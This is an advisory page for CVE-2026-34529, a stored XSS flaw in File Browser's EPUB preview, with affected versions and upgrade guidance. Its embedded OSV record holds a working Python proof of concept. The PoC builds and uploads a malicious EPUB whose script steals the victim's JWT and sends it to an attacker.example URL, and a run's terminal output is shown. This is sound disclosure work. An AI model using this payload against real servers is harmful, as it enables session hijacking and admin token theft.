CVE-2026-34529: Github.com/filebrowser/filebrowser/v2 Cross-Site Scripting Vulnerability
HIGHCVE-2026-34529 is a HIGH (CVSS 7.6) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser is vulnerable to stored cross-site scripting via crafted epub file. Remediation is available by upgrading affected packages to version 2.62.2.
CVE-2026-34529 at a Glance
Security Impact
CVSS: 7.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).
How to Fix CVE-2026-34529
To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/filebrowser/filebrowser/v2 to 2.62.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/filebrowser/filebrowser/v2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-34529, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:
inspect dependencies for github.com/filebrowser/filebrowser/v2
Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.62.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34529 Affected Github.com/filebrowser/filebrowser/v2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/filebrowser/filebrowser/v2
|
Go |
< 2.62.2
|
2.62.2
|
References
Frequently Asked Questions
What is CVE-2026-34529?
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
What version fixes CVE-2026-34529?
Is github.com/filebrowser/filebrowser/v2 affected?
What is the CVSS score of CVE-2026-34529?
What CWE is associated with CVE-2026-34529?
How can I check Go dependencies for CVE-2026-34529?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5vpr-4fgw-f69h",
"modified" : "2026-04-06T16:47:16Z",
"published" : "2026-03-31T23:44:36Z",
"aliases" : [ "CVE-2026-34529" ],
"summary" : "File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file",
"details" : "### Summary\n\nThe EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.\n\n### Details\n\n`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:\n```js\n// frontend/src/views/files/Preview.vue (Line 87)\n:epubOptions=\"{\n allowPopups: true,\n allowScriptedContent: true,\n}\"\n```\nepub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage.\n\nThe epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).\n\n### PoC\nI've crafted the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n filebrowser:\n image: filebrowser/filebrowser:v2.62.1\n user: 0:0\n ports:\n - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport io\nimport sys\nimport zipfile\nimport requests\n\n\nBANNER = \"\"\"\n Stored XSS via EPUB PoC\n Affected: filebrowser/filebrowser <=v2.62.1\n Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\"\"\"\n\n\n\nCONTAINER_XML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<container version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\">\n <rootfiles>\n <rootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/>\n </rootfiles>\n</container>\"\"\"\n\n\n\nCONTENT_OPF = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<package xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"uid\" version=\"3.0\">\n <metadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n <dc:identifier id=\"uid\">poc-xss-epub-001</dc:identifier>\n <dc:title>Security Test Document</dc:title>\n <dc:language>en</dc:language>\n <meta property=\"dcterms:modified\">2025-01-01T00:00:00Z</meta>\n </metadata>\n <manifest>\n <item id=\"chapter1\" href=\"chapter1.xhtml\" media-type=\"application/xhtml+xml\"/>\n <item id=\"nav\" href=\"nav.xhtml\" media-type=\"application/xhtml+xml\" properties=\"nav\"/>\n </manifest>\n <spine>\n <itemref idref=\"chapter1\"/>\n </spine>\n</package>\"\"\"\n\n\n\nNAV_XHTML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:epub=\"http://www.idpf.org/2007/ops\">\n<head><title>Navigation</title></head>\n<body>\n <nav epub:type=\"toc\">\n <ol><li><a href=\"chapter1.xhtml\">Chapter 1</a></li></ol>\n </nav>\n</body>\n</html>\"\"\"\n\n\n\nXSS_CHAPTER = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head><title>Chapter 1</title></head>\n<body>\n <h1>Security Test Document</h1>\n <p>This document tests EPUB script execution in File Browser.</p>\n <p id=\"xss-proof\" style=\"color: red; font-weight: bold;\">Waiting...</p>\n <p id=\"ip-proof\" style=\"color: orange; font-weight: bold;\">Fetching IP...</p>\n <script>\n var out = document.getElementById(\"xss-proof\");\n var ipOut = document.getElementById(\"ip-proof\");\n var jwt = \"not-found\";\n try { jwt = window.parent.localStorage.getItem(\"jwt\"); } catch(e) { jwt = \"error: \" + e.message; }\n out.innerHTML = \"XSS OK\" + String.fromCharCode(60) + \"br/\" + String.fromCharCode(62) + \"JWT: \" + jwt;\n fetch(\"https://ifconfig.me/ip\").then(function(r){ return r.text(); }).then(function(ip){\n ipOut.textContent = \"Victim public IP: \" + ip.trim();\n }).catch(function(e){\n ipOut.textContent = \"IP fetch failed: \" + e.message;\n });\n var img = new Image();\n img.src = \"https://attacker.example/?stolen=\" + encodeURIComponent(jwt);\n </script>\n</body>\n</html>\"\"\"\n\n\n\n\ndef login(base: str, username: str, password: str) -> str:\n r = requests.post(f\"{base}/api/login\",\n json={\"username\": username, \"password\": password},\n timeout=10)\n if r.status_code != 200:\n print(f\"[-] Login failed: {r.status_code}\")\n sys.exit(1)\n return r.text.strip('\"')\n\n\n\ndef build_epub() -> bytes:\n \"\"\"Build a minimal EPUB 3 file with embedded JavaScript.\"\"\"\n buf = io.BytesIO()\n with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\"mimetype\", \"application/epub+zip\", compress_type=zipfile.ZIP_STORED)\n zf.writestr(\"META-INF/container.xml\", CONTAINER_XML)\n zf.writestr(\"OEBPS/content.opf\", CONTENT_OPF)\n zf.writestr(\"OEBPS/nav.xhtml\", NAV_XHTML)\n zf.writestr(\"OEBPS/chapter1.xhtml\", XSS_CHAPTER)\n return buf.getvalue()\n\n\n\ndef main():\n print(BANNER)\n ap = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=\"Stored XSS via malicious EPUB PoC\",\n epilog=\"\"\"examples:\n %(prog)s -t http://localhost:8080 -u admin -p admin\n %(prog)s -t http://target.com/filebrowser -u user -p pass\n\nroot cause:\n frontend/src/views/files/Preview.vue passes\n epubOptions: { allowScriptedContent: true } to the vue-reader\n (epub.js) component. The iframe sandbox includes allow-scripts\n and allow-same-origin, which lets the script access the parent\n frame's localStorage and make arbitrary network requests.\n\nimpact:\n Session hijacking, privilege escalation, data exfiltration.\n A low-privilege user with upload access can steal admin tokens.\"\"\",\n )\n\n ap.add_argument(\"-t\", \"--target\", required=True,\n help=\"Base URL of File Browser (e.g. http://localhost:8080)\")\n ap.add_argument(\"-u\", \"--user\", required=True,\n help=\"Username to authenticate with\")\n ap.add_argument(\"-p\", \"--password\", required=True,\n help=\"Password to authenticate with\")\n if len(sys.argv) == 1:\n ap.print_help()\n sys.exit(1)\n args = ap.parse_args()\n\n base = args.target.rstrip(\"/\")\n\n print()\n print(\"[*] ATTACK BEGINS...\")\n print(\"====================\")\n\n print(f\" [1] Authenticating to {base}\")\n token = login(base, args.user, args.password)\n print(f\" Logged in as: {args.user}\")\n\n print(f\"\\n [2] Building malicious EPUB\")\n epub_data = build_epub()\n print(f\" EPUB size: {len(epub_data)} bytes\")\n\n upload_path = \"/poc_xss_test.epub\"\n print(f\"\\n [3] Uploading to {upload_path}\")\n requests.delete(f\"{base}/api/resources{upload_path}\",\n headers={\"X-Auth\": token}, timeout=10)\n r = requests.post(\n f\"{base}/api/resources{upload_path}?override=true\",\n data=epub_data,\n headers={\n \"X-Auth\": token,\n \"Content-Type\": \"application/epub+zip\",\n },\n timeout=30\n )\n\n if r.status_code in (200, 201, 204):\n print(f\" Upload OK ({r.status_code})\")\n else:\n print(f\" Upload FAILED: {r.status_code} {r.text[:200]}\")\n sys.exit(1)\n\n preview_url = f\"{base}/files{upload_path}\"\n\n print(f\"\\n [4] Done\")\n print(f\" Preview URL: {preview_url}\")\n print(\"====================\")\n print()\n print()\n print(f\"Open the URL above in a browser. You should see:\")\n print(f\" - Red text: \\\"XSS OK\\\" + stolen JWT token\")\n print(f\" - Orange text: victim's public IP (via ifconfig.me)\")\n print()\n print(f\"NOTE: alert() is blocked by iframe sandbox (no allow-modals).\")\n print(f\"The attack is silent — JWT theft and network exfiltration work.\")\n\n\nif __name__ == \"__main__\":\n main()\n\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t\n\n Stored XSS via EPUB PoC\n Affected: filebrowser/filebrowser <=v2.62.1\n Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\n\n[*] ATTACK BEGINS...\n====================\n [1] Authenticating to http://localhost\n Logged in as: admin\n\n [2] Building malicious EPUB\n EPUB size: 1927 bytes\n\n [3] Uploading to /poc_xss_test.epub\n Upload OK (200)\n\n [4] Done\n Preview URL: http://localhost/files/poc_xss_test.epub\n====================\n\n\nOpen the URL above in a browser. You should see:\n - Red text: \"XSS OK\" + stolen JWT token\n - Orange text: victim's public IP (via ifconfig.me)\n\nNOTE: alert() is blocked by iframe sandbox (no allow-modals).\nThe attack is silent — JWT theft and network exfiltration work.\n```\n\n\n<br/>\n\n### Impact\n- JWT token theft — full session hijacking\n- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/filebrowser/filebrowser/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.62.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.62.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5vpr-4fgw-f69h"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34529"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/filebrowser/filebrowser"
}, {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-31T23:44:36Z",
"nvd_published_at" : "2026-04-01T21:17:00Z"
}
}